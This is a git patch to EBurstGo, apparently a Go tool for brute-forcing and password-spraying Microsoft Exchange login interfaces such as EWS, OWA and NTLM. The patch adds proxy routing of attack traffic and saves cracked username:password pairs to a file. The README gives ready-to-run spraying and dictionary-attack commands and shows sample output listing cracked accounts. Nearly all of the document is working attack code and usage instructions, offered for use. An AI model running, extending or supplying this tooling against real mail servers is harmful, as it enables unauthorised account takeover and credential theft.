From acd971af507a3f111eb1c7a3b257a4af16e7dda7 Mon Sep 17 00:00:00 2001 From: X1r0z Date: Thu, 10 Aug 2023 12:28:04 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E4=BF=9D=E5=AD=98=E7=88=86=E7=A0=B4?= =?UTF-8?q?=E7=BB=93=E6=9E=9C,=20socks/http(s)=20=E4=BB=A3=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1. 支持保存爆破结果至文件 2. 支持 socks/http(s) 代理 --- README.md | 46 ++++++++++++++++++++++++++++++++----- lib/basicbrute.go | 26 +++++++++++++++++++-- lib/common.go | 58 +++++++++++++++++++++++++++++++++++++++++++++++ lib/httpbrute.go | 25 ++++++++++++++++++-- lib/ntlmbrute.go | 11 ++++++++- lib/run.go | 39 ++++--------------------------- lib/util.go | 32 -------------------------- main.go | 18 +++++++++++---- 8 files changed, 174 insertions(+), 81 deletions(-) create mode 100644 lib/common.go delete mode 100644 lib/util.go diff --git a/README.md b/README.md index 98194c2..15f6f56 100644 --- a/README.md +++ b/README.md @@ -35,20 +35,29 @@ Usage of ./EBurstGo: 指定 Exchange Web 接口 -nocolor 关闭输出颜色 + -nosave + 不将结果输出至文件 + -o string + 指定结果输出文件 (default "result.txt") -pass string 指定密码 -passf string 密码字典 - -thread int + -proxy string + 指定 socks/http(s) 代理 + -t int 协程数量 (default 2) -url string Exchange 服务器地址 -user string 指定用户名 + -user-as-pass + 指定密码与用户名相同 -userf string 用户名字典 - -verbose - 显示详细信息 + -userpassf string + 指定用户名密码字典 (user:pass) + -v 显示详细信息 ``` check @@ -69,10 +78,34 @@ $ ./EBurstGo -url https://192.168.30.11 -check brute +默认会将爆破成功的账户追加写入 result.txt + +```shell +# 常规爆破 +./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -passf pass.txt -mode ews + +# 指定用户名 +./EBurstGo -url https://192.168.30.11 -domain hack-my.com -user Alice -passf pass.txt -mode ews + +# 密码喷洒 +./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -pass 'Changeme123' -mode ews + +# 支持 user:pass 格式的字典 +./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userpassf userpass.txt -mode ews + +# 密码与用户名相同 +./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -user-as-pass -mode ews + +# 设置 socks/http(s) 代理 +./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -passf pass.txt -mode ews -socks socks5://127.0.0.1:1080 +``` + +examples + ```shell $ ./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -passf pass.txt -mode ews -[*] 使用 ews 接口爆破: https://192.168.30.11 [*] 用户名:7 密码:9 共计:63 +[*] 使用 ews 接口爆破: https://192.168.30.11 [+] 成功: Administrator:abcd1234!@#$ [+] 成功: Alice:Alice123! [+] 成功: Bob:Bob123! @@ -80,6 +113,7 @@ $ ./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -pas [*] 耗时: 3.031753209s ``` -todo -- 开启代理爆破一段时间会出现 `connection refused`, 待解决 +## Todo + +- 开启代理使用 NTLM 认证爆破一段时间后出现 `connection refused`, 待解决 - `/powershell` 接口 (Kerberos 认证) 待支持 \ No newline at end of file diff --git a/lib/basicbrute.go b/lib/basicbrute.go index eaf5814..e5ae542 100644 --- a/lib/basicbrute.go +++ b/lib/basicbrute.go @@ -1,7 +1,9 @@ package lib import ( + "crypto/tls" "net/http" + "net/url" "time" ) @@ -13,16 +15,36 @@ func BasicBruteWorker(info *TaskInfo) { continue } Log.Debug("[*] 尝试: %v:%v", username, password) + + var client = &http.Client{ + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{ + InsecureSkipVerify: true, + Renegotiation: tls.RenegotiateOnceAsClient, + }, + Proxy: func(_ *http.Request) (*url.URL, error) { + if info.proxy != "" { + return url.Parse(info.proxy) + } else { + return nil, nil + } + }, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + req, _ := http.NewRequest("OPTIONS", info.u, nil) req.SetBasicAuth(info.domain+"\\"+username, password) req.Header.Add("Connection", "close") - res, err := Client.Do(req) + res, err := client.Do(req) if err != nil { panic(err) } if res.StatusCode != 401 && res.StatusCode != 408 && res.StatusCode != 504 { Log.Success("[+] 成功: %v", username+":"+password) - info.done.Set(username) + info.done.Set(username, password, info.o) } else { Log.Failed("[-] 失败: %v", username+":"+password) } diff --git a/lib/common.go b/lib/common.go new file mode 100644 index 0000000..d46f5cf --- /dev/null +++ b/lib/common.go @@ -0,0 +1,58 @@ +package lib + +import ( + "os" + "sync" +) + +var ExchangeUrls = map[string]string{ + "autodiscover": "/autodiscover", + "ews": "/ews", + "mapi": "/mapi", + "activesync": "/Microsoft-Server-ActiveSync", + "oab": "/oab/global.asax", + "rpc": "/rpc", + "owa": "/owa/auth.owa", + "powershell": "/powershell", + "ecp": "/owa/auth.owa", +} + +var Log *Logging + +type TaskInfo struct { + targetUrl string + mode string + u string + domain string + task chan []string + done *DoneMap + delay int + proxy string + o string +} + +type DoneMap struct { + mu sync.RWMutex + done map[string]string +} + +func (c *DoneMap) Get(user string) bool { + c.mu.RLock() + defer c.mu.RUnlock() + _, ok := c.done[user] + return ok +} + +func (c *DoneMap) Set(user string, pass string, o string) { + c.mu.Lock() + defer c.mu.Unlock() + c.done[user] = pass + if o != "" { + fp, _ := os.OpenFile(o, os.O_CREATE|os.O_WRONLY|os.O_APPEND|os.O_SYNC, 0644) + defer fp.Close() + fp.WriteString(user + ":" + pass) + fp.WriteString("\n") + } +} + +type BruteWorker func(info *TaskInfo) diff --git a/lib/httpbrute.go b/lib/httpbrute.go index a978c28..1c83444 100644 --- a/lib/httpbrute.go +++ b/lib/httpbrute.go @@ -1,6 +1,7 @@ package lib import ( + "crypto/tls" "net/http" "net/url" "strings" @@ -23,6 +24,26 @@ func HttpBruteWorker(info *TaskInfo) { continue } Log.Debug("[*] 尝试: %v:%v", username, password) + + var client = &http.Client{ + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{ + InsecureSkipVerify: true, + Renegotiation: tls.RenegotiateOnceAsClient, + }, + Proxy: func(_ *http.Request) (*url.URL, error) { + if info.proxy != "" { + return url.Parse(info.proxy) + } else { + return nil, nil + } + }, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + form := url.Values{ "destination": {refUrl}, "flags": {"4"}, @@ -39,7 +60,7 @@ func HttpBruteWorker(info *TaskInfo) { req.Header.Set("Cookie", "PrivateComputer=true; PBack=0") req.Header.Set("Connection", "close") - res, err := Client.Do(req) + res, err := client.Do(req) if err != nil { panic(err) } @@ -49,7 +70,7 @@ func HttpBruteWorker(info *TaskInfo) { Log.Failed("[-] 失败: %v", username+":"+password) } else if !strings.Contains(location, "reason") { Log.Success("[+] 成功: %v", username+":"+password) - info.done.Set(username) + info.done.Set(username, password, info.o) } else { Log.Failed("[-] 失败: %v", username+":"+password) } diff --git a/lib/ntlmbrute.go b/lib/ntlmbrute.go index 9190d44..c294de3 100644 --- a/lib/ntlmbrute.go +++ b/lib/ntlmbrute.go @@ -4,6 +4,7 @@ import ( "crypto/tls" "github.com/Azure/go-ntlmssp" "net/http" + "net/url" "time" ) @@ -23,12 +24,20 @@ func NtlmBruteWorker(info *TaskInfo) { InsecureSkipVerify: true, Renegotiation: tls.RenegotiateOnceAsClient, }, + Proxy: func(_ *http.Request) (*url.URL, error) { + if info.proxy != "" { + return url.Parse(info.proxy) + } else { + return nil, nil + } + }, }, }, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } + req, _ := http.NewRequest("GET", info.u, nil) req.SetBasicAuth(info.domain+"\\"+username, password) res, err := client.Do(req) @@ -37,7 +46,7 @@ func NtlmBruteWorker(info *TaskInfo) { } if res.StatusCode != 401 && res.StatusCode != 408 && res.StatusCode != 504 { Log.Success("[+] 成功: %v", username+":"+password) - info.done.Set(username) + info.done.Set(username, password, info.o) } else { Log.Failed("[-] 失败: %v", username+":"+password) } diff --git a/lib/run.go b/lib/run.go index 3176a7b..405abd2 100644 --- a/lib/run.go +++ b/lib/run.go @@ -6,38 +6,7 @@ import ( "time" ) -type TaskInfo struct { - targetUrl string - mode string - u string - domain string - task chan []string - done *DoneMap - delay int -} - -type DoneMap struct { - mu sync.RWMutex - done map[string]struct{} - allDone bool -} - -func (c *DoneMap) Get(user string) bool { - c.mu.RLock() - defer c.mu.RUnlock() - _, ok := c.done[user] - return ok -} - -func (c *DoneMap) Set(user string) { - c.mu.Lock() - defer c.mu.Unlock() - c.done[user] = struct{}{} -} - -type BruteWorker func(info *TaskInfo) - -func BruteRunner(targetUrl string, mode string, domain string, dict [][]string, n int, delay int, worker BruteWorker) { +func BruteRunner(targetUrl string, mode string, domain string, dict [][]string, t int, delay int, proxy string, o string, worker BruteWorker) { authPath := ExchangeUrls[mode] u, _ := url.JoinPath(targetUrl, authPath) @@ -46,7 +15,7 @@ func BruteRunner(targetUrl string, mode string, domain string, dict [][]string, t1 := time.Now() task := make(chan []string, len(dict)) - done := &DoneMap{done: make(map[string]struct{})} + done := &DoneMap{done: make(map[string]string)} info := &TaskInfo{ targetUrl: targetUrl, @@ -56,6 +25,8 @@ func BruteRunner(targetUrl string, mode string, domain string, dict [][]string, task: task, done: done, delay: delay, + proxy: proxy, + o: o, } for _, data := range dict { @@ -66,7 +37,7 @@ func BruteRunner(targetUrl string, mode string, domain string, dict [][]string, var wg sync.WaitGroup - for i := 0; i < n; i++ { + for i := 0; i < t; i++ { wg.Add(1) go func() { defer wg.Done() diff --git a/lib/util.go b/lib/util.go deleted file mode 100644 index f5711fd..0000000 --- a/lib/util.go +++ /dev/null @@ -1,32 +0,0 @@ -package lib - -import ( - "crypto/tls" - "net/http" -) - -var ExchangeUrls = map[string]string{ - "autodiscover": "/autodiscover", - "ews": "/ews", - "mapi": "/mapi", - "activesync": "/Microsoft-Server-ActiveSync", - "oab": "/oab/global.asax", - "rpc": "/rpc", - "owa": "/owa/auth.owa", - "powershell": "/powershell", - "ecp": "/owa/auth.owa", -} - -var Client = &http.Client{ - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{ - InsecureSkipVerify: true, - Renegotiation: tls.RenegotiateOnceAsClient, - }, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - }, -} - -var Log *Logging diff --git a/main.go b/main.go index c575c2e..95e5735 100644 --- a/main.go +++ b/main.go @@ -22,11 +22,14 @@ func main() { passf string userpassf string userAsPass bool - n int + proxy string + t int v bool delay int debug bool nocolor bool + o string + nosave bool ) flag.StringVar(&targetUrl, "url", "", "Exchange 服务器地址") flag.StringVar(&mode, "mode", "", "指定 Exchange Web 接口") @@ -38,9 +41,12 @@ func main() { flag.StringVar(&passf, "passf", "", "密码字典") flag.StringVar(&userpassf, "userpassf", "", "指定用户名密码字典 (user:pass)") flag.BoolVar(&userAsPass, "user-as-pass", false, "指定密码与用户名相同") - flag.IntVar(&n, "thread", 2, "协程数量") + flag.StringVar(&proxy, "proxy", "", "指定 socks/http(s) 代理") + flag.StringVar(&o, "o", "result.txt", "指定结果输出文件") + flag.BoolVar(&nosave, "nosave", false, "不将结果输出至文件") + flag.IntVar(&t, "t", 2, "协程数量") flag.IntVar(&delay, "delay", 0, "请求延时") - flag.BoolVar(&v, "verbose", false, "显示详细信息") + flag.BoolVar(&v, "v", false, "显示详细信息") flag.BoolVar(&debug, "debug", false, "显示 Debug 信息") flag.BoolVar(&nocolor, "nocolor", false, "关闭输出颜色") flag.Parse() @@ -54,6 +60,10 @@ func main() { color.NoColor = true } + if nosave { + o = "" + } + lib.Log = &lib.Logging{Verbose: v, IsDebug: debug} var dict [][]string @@ -139,6 +149,6 @@ func main() { return } - lib.BruteRunner(targetUrl, mode, domain, dict, n, delay, worker) + lib.BruteRunner(targetUrl, mode, domain, dict, t, delay, proxy, o, worker) } }